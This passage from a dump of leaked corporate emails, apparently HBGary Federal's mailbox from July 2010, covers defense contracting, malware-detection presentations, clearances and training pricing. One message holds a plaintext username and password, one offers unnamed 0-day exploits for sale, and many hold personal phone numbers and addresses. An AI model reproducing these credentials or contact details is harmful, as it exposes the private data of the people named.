Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','Skype','Mark set up a Skype acct so we can do free video conferencing.  The skype username is:cos.lab.hbgaryfederalSign up for a free skype acct and install on the laptop with a webcam and we can try it out - leave the comms up all day.\r\nTed\r\n\r\n',5874,'aaron_hbgary_com/5874.html'),(9038,'2010-07-22','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006943.M827060P14101Q3893.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Slides for the 6th','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDo we have a generic way we can do this?&nbsp; I know we have API\r\ncalls on our side, they just need to call them and we need to write it up.&nbsp;\r\nThoughts?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nrichard.ricart@accenture.com [mailto:richard.ricart@accenture.com] \r\nSent: Wednesday, July 21, 2010 8:45 AM\r\nTo: penny@hbgary.com; chris.lee@virtualarmor.com;\r\nmark.precious@virtualarmor.com; aaron@hbgary.com\r\nSubject: FW: Slides for the 6th\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny,\r\n\r\n&nbsp;\r\n\r\n&nbsp;here is the message I sent out a couple of week ago.&nbsp;\r\nWhat we need is a clear description on how you are going to send the new\r\nsuspected malware signature to VirtualArmor (Blockhouse).&nbsp; Other than\r\nthat, the presentation material that Aaron presented on June 6th and\r\nany other detailed Digital DNA technical slides you want to bring along would\r\nbe fine.&nbsp; Do we need a quick conference call today?\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Wednesday, July 21, 2010 11:17 AM\r\nTo: Ricart, Richard; chris.lee@virtualarmor.com\r\nSubject: RE: Presentation for DISA\r\n\r\n&nbsp;\r\n\r\nI am at BH all next week, Bob\r\nwill be in town.&nbsp; We are familiar with DISA, what sort of &#8220;indepth&#8221;\r\npresentation are you thinking of?&nbsp; I have tons of technical slides so\r\nputting them together is not a problem.&nbsp; \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nRick Ricart\r\n\r\nAccenture\r\n\r\nChief Engineer, Defense\r\n\r\n3505 Lake Lynda Drive, Suite 115\r\n\r\nOrlando, FL&nbsp; 32817\r\n\r\nCell: 321-544-4000\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ricart, Richard \r\nSent: Friday, July 09, 2010 12:26 PM\r\nTo: \'Penny Leavy-Hoglund\'; \'Aaron Barr\'; \'Christopher Lee\';\r\n\'mark.precious@virtualarmor.com\'; \'shawn.anderson@wyle.com\'\r\nCc: Smith, Richard N.; Votipka, David; Riven, Rodney\r\nSubject: RE: Slides for the 6th\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nFolks,\r\n\r\n&nbsp;\r\n\r\nOn behalf of the Accenture team, I&#8217;d like to thank and\r\ncongratulate everyone again on a job well done on Tuesday, July 6th.&nbsp;\r\nWe received very positive feedback on our presentation.\r\n\r\n&nbsp;\r\n\r\nWe have been asked to prepare a 0-day malware detection and\r\nactive defense deep dive with DISA and their Mitre SMEs on Aug 6th.\r\n&nbsp;&nbsp;As you may have heard, DISA is about to release an RFI on the\r\nsubject.&nbsp; This is a great opportunity for us to differentiate ourselves\r\nfrom Symantec. They appear to be the front runner in this space according to\r\nSonoka Ho&#8217;s implication.&nbsp; Ho told me that he was impressed with what he\r\nheard from us on Tuesday.\r\n\r\n&nbsp;\r\n\r\nSince we don&#8217;t have a working prototype, my sense is that we\r\nneed to have a better defined architectural and functional description, which\r\nincludes a more detailed flow between HBGary, BlockHouse, CAR, and DDN and more\r\ndetail on how each component performs its function.&nbsp; We need to beef up\r\nthe connection between the previous and risk assessment, alerting, human in the\r\nloop, data distribution and how all those are connected.&nbsp; We need use\r\ncases and show at least one full end-to-end flow starting with HBGary.\r\n\r\n&nbsp;\r\n\r\nFirst we need commitment from all of you to proceed, then a\r\nschedule to prepare for the meeting.&nbsp; If you are on board, please provide\r\nme with your availability next week to start this off and agree on what we need\r\nto put together.\r\n\r\n&nbsp;\r\n\r\nHave a great weekend and stay cool!\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nRick Ricart\r\n\r\nAccenture\r\n\r\nChief Engineer, Defense\r\n\r\n3505 Lake Lynda Drive, Suite 115\r\n\r\nOrlando, FL&nbsp; 32817\r\n\r\nCell: 321-544-4000\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Friday, July 02, 2010 3:42 PM\r\nTo: Smith, Richard N.; Ricart, Richard\r\nSubject: FW: Slides for the 6th\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHere are slides\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, July 02, 2010 12:18 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Slides for the 6th\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSorry just got out of some meetings with Blackbird a bit a\r\ngo.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHere you go.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis message\r\nis for the designated recipient only and may contain privileged, proprietary,\r\nor otherwise private information. If you have received it in error, please\r\nnotify the sender immediately and delete the original. Any other use of the\r\nemail by you is prohibited.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10382,'aaron_hbgary_com/10382.html'),(9039,'2010-07-22','\"Copeland, Johna Y (TASC)\" <Johna.Copeland@TASC.COM>','/aaron@hbgary.com/new/1297006945.M344317P14101Q3894.eml','ted@hbgary.com,aaron@hbgary.com','Resume','Hey guys,\r\nHope all is well with the two of you.  I saw Aaron\'s page on Linkedin that you guys are \"Currently looking for software developers, testers, and reverse engineers for some classified work starting early fall. Must have clearances\".  I am not sure all what that entails but this summer I was talking to My son\'s BBall coach and he was looking for a job at the end of September as his contract expires with L3.  When I saw Aaron\'s add I thought maybe this guys would be a good fit. He is  great guy and I am hoping there is something in his resume that you can use.  He would be interested in chatting with you two if you see any possibilities from his resume.\r\n\r\nJohna Y. Copeland\r\nCyber Engineering and Warfighter Support Operating Unit, Executive Administrator\r\n1795 Jet Wing Drive, Suite 100\r\nColorado Springs, CO 80916\r\nWork Phone:  719-622-5609\r\nefax: 978-684-3749\r\nFax:  719-622-5610\r\nEmail: johna.copeland@tasc.com\r\nTell me and I’ll forget, show me and I may remember, involve me and I’ll understand.\r\n',5621,'aaron_hbgary_com/5621.html'),(9040,'2010-07-22','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297006945.M593971P14101Q3895.eml','\"Tim Riesen\" <tjriesen@archimedesglobal.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Next Week','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\nRe: EXTERNAL:Next Week\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSounds good to me.\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Tim Riesen\r\n[mailto:tjriesen@archimedesglobal.com] \r\nSent: Thursday, July 22, 2010 8:53 AM\r\nTo: Clair, Chris (TASC); Aaron Barr\r\nSubject: Re: EXTERNAL:Next Week\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nChris - \r\n\r\nOk &#8211; will shoot for Wednesday to Friday. &nbsp;Aaron mentioned he might\r\nbe back in time for a Friday PM meeting. &nbsp;If that is indeed workable,\r\nlet&#8217;s shoot for a Thursday night dinner and a Friday meeting. &nbsp;\r\n\r\nTim \r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Christopher Clair &lt;christopher.clair@tasc.com&gt;\r\nDate: Wed, 21 Jul 2010 21:49:57 -0400\r\nTo: Tim Riesen &lt;tjriesen@archimedesglobal.com&gt;,\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: RE: EXTERNAL:Next Week\r\n\r\nHi Tim,\r\n\r\nMonday and Tuesday are bad. &nbsp;The rest of the week is open. &nbsp;I think\r\nAaron will be out of town but we can handle the meeting if necessary. \r\n\r\nDo you have any nights free for that week? &nbsp;We can cook a few steaks and\r\ndrink a beer or two. &nbsp;Aaron you are welcome to come too. \r\n\r\nLet me know. \r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Tim Riesen [mailto:tjriesen@archimedesglobal.com]\r\nSent: Wed 7/21/2010 9:25 PM\r\nTo: Aaron Barr; Clair, Chris (TASC)\r\nSubject: EXTERNAL:Next Week\r\n\r\nGentlemen -\r\n\r\nDo you have an interest in meeting with the telecom infrastructure people\r\nnext week? \r\n\r\nAaron &#8211; for the McLean for the meeting?\r\n\r\nAaron and Chris &#8211; for the infrastructure piece of the COIN proposal?\r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc.\r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8074,'aaron_hbgary_com/8074.html'),(9041,'2010-07-22','\"Eassa, Charles N. COL\" <Charles.Eassa@eucom.mil>','/aaron@hbgary.com/new/1297006945.M855433P14101Q3896.eml','aaron@hbgary.com','Follow up','I enjoyed meeting you last week and look forward to more understanding.\r\n\r\nVR\r\n\r\nE\r\n',5693,'aaron_hbgary_com/5693.html'),(9042,'2010-07-22','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006946.M286051P14101Q3898.eml','\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','RE: Threatfire','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNo they do not, they have no even filed it.&nbsp; I was the first to\r\nfile and we have prior art dating way back before them.&nbsp; No one can use TM\r\nuntil it&#8217;s final buy most do and never do the leg work or expense.&nbsp; We just received\r\nour official DDNA trademark and I don&#8217;t&#8217; anticipate a problem with this\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Thursday, July 22, 2010 12:00 PM\r\nTo: Greg Hoglund; Penny Leavy; Phil Wallisch; Rich Cummings; Barr Aaron;\r\nmark@hbgary.com\r\nSubject: Threatfire\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMark just found this. &nbsp;Apparently they have\r\nActiveDefense trademarked --&nbsp;ActiveDefense&#8482;&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nhttp://www.threatfire.com/\r\n\r\n-- \r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13204,'aaron_hbgary_com/13204.html'),(9043,'2010-07-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006946.M59597P14101Q3897.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Threatfire','Mark just found this.  Apparently they have ActiveDefense trademarked -- ActiveDefense™ \r\n\r\nhttp://www.threatfire.com/\r\n-- Ted\r\n\r\n',12357,'aaron_hbgary_com/12357.html'),(9044,'2010-07-22','\"Martin Pillion\" <martin@hbgary.com>','/aaron@hbgary.com/new/1297006946.M625744P14101Q3899.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Re: NEED FREE TOOL WRITE-UPS BY 2 PM','\r\nYo, what kind of license do you want to release this under?  And what\r\ncopyright header on the source files?\r\n\r\n- Martin\r\n\r\nGreg Hoglund wrote:\r\n> Team,\r\n> I need those write ups, now.  I need the signed binaries for all of shawns\r\n> tools, and the source+unsigned binary package we plan for fingerprint.\r\n>\r\n> -Greg\r\n>\r\n>   \r\n\r\n',13890,'aaron_hbgary_com/13890.html'),(9045,'2010-07-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006952.M342180P14101Q3900.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Fwd: FW: HBGary','I&#39;m going to contact Ron now...---------- Forwarded message ----------From: Chisholm, Chris (US SSA) &lt;robert.chisholm@baesystems.com&gt;\r\nDate: Thu, Jul 22, 2010 at 1:09 PMSubject: FW: HBGaryTo: &quot;Prudhomme, Ronald (US SSA)&quot; &lt;ronald.prudhomme@baesystems.com&gt;Cc: Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRon,\r\n\r\n \r\n\r\nYou may want to have K-9 contact Ted Vera @ HB Gary (info\r\nbelow).  They could be a key add to our DIA SITES contract.\r\n\r\n \r\n\r\nThanks,\r\n\r\nChris\r\n\r\n \r\n\r\nRobert H. (Chris) Chisholm\r\n\r\nBAE Systems Aerospace Solutions\r\n\r\nManager, Mission Solutions Development\r\n\r\n3060 Venture Lane, Suite 102\r\n\r\nMelbourne, FL  32934\r\n\r\nOffice:  321-757-5249 ext 1934\r\n\r\nCell:  321-431-0966\r\n\r\nFax:  321-259-8181\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Thursday, July 22, 2010 11:22 AM\r\nTo: Chisholm, Chris (US SSA)\r\nCc: Maier, Raymond &quot;Joe&quot; (US SSA) (US ASTSS Huntsville);\r\njrcrouse@comcast.net\r\nSubject: HBGary\r\n\r\n\r\n\r\n \r\n\r\nChris,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nIt was a pleasure meeting with you yesterday.  Please\r\nstay in touch and let me know when you&#39;re in town.  When should I expect\r\nto see a draft teaming agreement?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI&#39;ve attached some of our product sheets for your review.\r\n Our software can be especially helpful for organizations who conduct\r\nincident response, digital forensics investigations, vulnerability research /\r\nproof-of-concept exploit development, and malware reverse engineering /\r\nanalysis.  If you have any such organizations within BAE I&#39;d really\r\nappreciate an introduction.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAlso as we discussed, HBGary has offensive cyber\r\ncapabilities (we don&#39;t advertise).  I have several 0-day proof-of-concept\r\nexploits on the shelf ready for weaponization.  If you have any qualified\r\ncustomers who would be interested, I can send you summary descriptions.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',15608,'aaron_hbgary_com/15608.html'),(9046,'2010-07-22','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006953.M337088P14101Q3901.eml','\"Martin Pillion\" <martin@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>','RE: NEED FREE TOOL WRITE-UPS BY 2 PM','Here you go\r\n\r\n-----Original Message-----\r\nFrom: Martin Pillion [mailto:martin@hbgary.com] \r\nSent: Thursday, July 22, 2010 12:07 PM\r\nTo: Greg Hoglund\r\nCc: all@hbgary.com\r\nSubject: Re: NEED FREE TOOL WRITE-UPS BY 2 PM\r\n\r\n\r\nYo, what kind of license do you want to release this under?  And what\r\ncopyright header on the source files?\r\n\r\n- Martin\r\n\r\nGreg Hoglund wrote:\r\n> Team,\r\n> I need those write ups, now.  I need the signed binaries for all of shawns\r\n> tools, and the source+unsigned binary package we plan for fingerprint.\r\n>\r\n> -Greg\r\n>\r\n>   \r\n\r\n',1225,'aaron_hbgary_com/1225.html'),(9047,'2010-07-22','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297006953.M568977P14101Q3902.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Liz Swanson and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsJuly 22, 2010\r\n    AFCEA NOVA\r\n    \r\n	      Latest:\r\n	          1 discussion\r\n	      \r\n	      \r\n	        \r\n	      \r\n      \r\n    \r\n\r\n     \r\n      NEW Your LinkedIn groups have a whole new look! Learn more &#187;\r\n    \r\n      \r\n      \r\n    \r\n\r\n      \r\nDiscussions (1)  \r\n\r\n    \r\n      \r\n        Common LinkedIn Mistakes Online Job Seekers Make\r\n        Add a comment  &raquo;\r\n\r\n      Started by Liz Swanson, Experienced Technical Recruiter focused on finding cleared professionals positions on federal programs Twitter:@cefin\r\n        \r\n          \r\n                    Wanted to forward this article on which is great on how to effectively use LinkedIn.  I also recommend following Jennifer.   I have found that she posts excellent articles associated with the job search process.\r\n                By Liz Swanson, Experienced Technical Recruiter focused on finding cleared professionals positions on federal programs Twitter:@cefin\r\n           \r\n          \r\n    \r\n\r\n\r\n\r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',2454,'aaron_hbgary_com/2454.html'),(9048,'2010-07-22','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','/aaron@hbgary.com/new/1297006953.M783742P14101Q3903.eml','\"Aaron Barr\" <aaron@hbgary.com>','will Greg be back in town?','When will Greg be back in town...wanted to talk about a couple of things...\r\n\r\nDave\r\n-----------------------------------\r\nDavid D. Merritt, CISSP, CISM, ITIL\r\nOSD CIO IA\r\n703-697-2051 :desk\r\n\r\n\r\n',11971,'aaron_hbgary_com/11971.html'),(9049,'2010-07-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006954.M2430P14101Q3904.eml','\"Ira Entis\" <Ira.Entis@agilex.com>,\"Ira Entis\" <Ira.Entis@agilex.com>','Re: Clearance ...','Hi Ira,How&#39;s the contract coming along?TedOn Tue, Jul 20, 2010 at 10:09 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nLast I checked, Mark and I still show as SCI eligible in JPAS, but neither of us are currently briefed/read on. We are hoping a contract with billets will be won soon.\r\n\r\nTedOn Jul 20, 2010, at 10:07 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nNone of us are DoD cleared.  I have an active community clearance (green badge).  Ted and Mark have had community clearances within the last 6 months but currently are not cleared.\r\n\r\nAaronOn Jul 20, 2010, at 7:03 PM, Ira Entis wrote:Aaron...?- Ira\r\nBegin forwarded message:From: &quot;Taylor, David A&quot; &lt;dataylor@lanl.gov&gt;\r\nDate: July 20, 2010 6:42:19 PM EDT\r\nTo: Ira Entis &lt;Ira.Entis@agilex.com&gt;, Jerry McClure &lt;Jerry.McClure@agilex.com&gt;\r\n\r\nSubject: Clearance ...\r\n\r\nIra, Jerry I seem to remember that the HBGary guys were DoD cleared.If so, my folks will want to know at what level, CNDWI?\r\n\r\n Thanks dat\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',1312,'aaron_hbgary_com/1312.html'),(9050,'2010-07-22','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297006954.M264802P14101Q3905.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Clearance ...','waiting to hear back from their lawyers. &nbsp;we took exception to some standard clauses (i.e. unlimited liability) which given the nature of the work we felt were not appropriate. &nbsp;waiting to hear back on that as well as the security requirements.On Jul 22, 2010, at 3:30 PM, Ted Vera wrote:Hi Ira,How\'s the contract coming along?TedOn Tue, Jul 20, 2010 at 10:09 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nLast I checked, Mark and I still show as SCI eligible in JPAS, but neither of us are currently briefed/read on. We are hoping a contract with billets will be won soon.\r\n\r\nTedOn Jul 20, 2010, at 10:07 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nNone of us are DoD cleared. &nbsp;I have an active community clearance (green badge). &nbsp;Ted and Mark have had community clearances within the last 6 months but currently are not cleared.\r\n\r\nAaronOn Jul 20, 2010, at 7:03 PM, Ira Entis wrote:Aaron...?- Ira\r\nBegin forwarded message:From: \"Taylor, David A\" &lt;dataylor@lanl.gov&gt;\r\nDate: July 20, 2010 6:42:19 PM EDT\r\nTo: Ira Entis &lt;Ira.Entis@agilex.com&gt;, Jerry McClure &lt;Jerry.McClure@agilex.com&gt;\r\n\r\nSubject: Clearance ...\r\n\r\nIra, Jerry&nbsp;I seem to remember that the HBGary guys were DoD cleared.If so, my folks will want to know at what level, CNDWI?&nbsp;Thanks&nbsp;dat\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',3231,'aaron_hbgary_com/3231.html'),(9051,'2010-07-22','\"Jeff Castelli\" <JeffCastelli@phaseone.net>','/aaron@hbgary.com/new/1297006954.M542253P14101Q3906.eml','\"Aaron Barr\" <aaron@hbgary.com>','IQT','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, thanks for your time yesterday and I&#8217;m sorry\r\nnot to get back to you sooner.&nbsp; Hope you&#8217;re enjoying St. Louis and taking\r\nin a couple of Cards games &#8211; they certainly are on a roll!\r\n\r\n&nbsp;\r\n\r\nI corresponded with Chris Darby, CEO of IQT, re HB Gary, and\r\nhe has advised me you are already on their scope and &#8216;in their pipeline&#8217;.&nbsp;\r\nNo intro needed!&nbsp; Mark McGovern is the practice lead there.&nbsp; If you haven&#8217;t\r\nheard from him of late, you might send him a tickler to see what&#8217;s up.&nbsp;\r\nIf you&#8217;re getting no reply, just let me know and I&#8217;ll rattle their\r\ncage.\r\n\r\n&nbsp;\r\n\r\nFYI, I found out today that the &#8216;bake off&#8217; I mentioned\r\nto you will have to wait until FY11 (and FY11 money, so let&#8217;s hope\r\nagainst the odds that there won&#8217;t be a continuing resolution&#8230;&#8230;.).&nbsp;\r\nWe will definitely keep in touch as that date gets nearer.&nbsp; Take care,\r\n\r\n&nbsp;\r\n\r\nJeff\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nVP,\r\nDirector Washington Operations\r\n\r\nPhaseOne\r\nCommunications\r\n\r\n&nbsp;\r\n\r\nemail:&nbsp;\r\njeffcastelli@phaseone.net\r\n\r\nOffice:&nbsp;&nbsp;&nbsp;&nbsp;\r\n571-830-6816\r\n\r\nFax:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n571-830-6819\r\n\r\nCell:&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp; 310 612 6413\r\n\r\n&nbsp;\r\n\r\nThis\r\nemail is confidential and intended solely for the use of the individual or\r\norganization to whom it is addressed. &nbsp;If you are not the intended\r\nrecipient of this email, you should not copy, modify, distribute, or take any\r\naction in reliance on it. &nbsp;If you have received this email in error,\r\nplease notify the sender and delete this email from your system. &nbsp;Although\r\nthis email has been checked for viruses and other defects, no responsibility\r\ncan be accepted for any loss or damage arising from its receipt or use.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10632,'aaron_hbgary_com/10632.html'),(9052,'2010-07-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006954.M783286P14101Q3907.eml','\"Don Mackert\" <dmackert@raytheonvtc.com>','BBN','Hi Don,I heard that one of your recent aquisitions, BBN is doing some interesting things (security wise) on endpoints.  Do you know anyone at BBN, or could you get me pointed in the right direction?\r\nThanks,Ted\r\n\r\n',9183,'aaron_hbgary_com/9183.html'),(9053,'2010-07-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006954.M988023P14101Q3908.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','active defense','Mark has Active Defense now accessable at lab.hbgaryfederal.com.  Click Tools, then Active Defense.-- Ted H. VeraPresident | COO\r\nHBGary Federal719-237-8623\r\n\r\n',1825,'aaron_hbgary_com/1825.html'),(9054,'2010-07-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006955.M187799P14101Q3909.eml','\"Barr Aaron\" <aaron@hbgary.com>','U P','U:  aaronP:  P@ssW0rd!\r\n\r\n',16073,'aaron_hbgary_com/16073.html'),(9055,'2010-07-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006955.M395558P14101Q3910.eml','\"Barr Aaron\" <aaron@hbgary.com>','AD Panel','U:  adminI&#39;ll txt you the pw.-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',6018,'aaron_hbgary_com/6018.html'),(9056,'2010-07-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006955.M680042P14101Q3911.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Fwd: DigitalGlobe','Penny,I haven&#39;t heard back from Maria - I know she&#39;s on vacation...  What do you think about the pricing / commission?Thanks,Ted\r\n---------- Forwarded message ----------From: Ted Vera &lt;ted@hbgary.com&gt;Date: Thu, Jul 22, 2010 at 10:04 AMSubject: DigitalGlobe\r\nTo: Maria Lucas &lt;maria@hbgary.com&gt;, Penny Leavy &lt;penny@hbgary.com&gt;Cc: Barr Aaron &lt;aaron@hbgary.com&gt;\r\nHi Maria,Our discussion with Brian went well yesterday.  He is interested in our Social Media training.  He would like a quote for three classes, one class a day for three consecutive days.  He anticipates 20 per class, but it could go up to as many as 50 per class.  Aaron and I had $750-$1000 per student in mind for &quot;normal&quot; pricing on this class.\r\n\r\nFor Brian, we are thinking about sending a quote for $30,000.00.  $500/student, 3 classes, 20 students per class.  We will note on the estimate that we&#39;ll keep a headcount/sign-in roster and if more than 20 show we will charge $500 for each additional student.\r\n\r\nWhat do you think of this pricing?  Too high? Too low?  Do you think it is in line with Brian&#39;s budget?  Also, we never fully discussed your commission.  What are your expectations, what is standard commission for training?\r\n\r\nThanks for the introduction and your help.Regards,Ted\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',1990,'aaron_hbgary_com/1990.html'),(9057,'2010-07-22','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006955.M990140P14101Q3912.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: DigitalGlobe','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIs this for the social media training or HBGary training?&nbsp; Maria\r\ngets $100 per class if she sells our training for $2500.&nbsp; I don&#8217;t think it&#8217;s\r\ntoo high, but I would call him and have a discussion\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Thursday, July 22, 2010 2:07 PM\r\nTo: Penny Leavy\r\nCc: Barr Aaron\r\nSubject: Fwd: DigitalGlobe\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI haven\'t heard back from Maria - I know she\'s on\r\nvacation... &nbsp;What do you think about the pricing / commission?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted 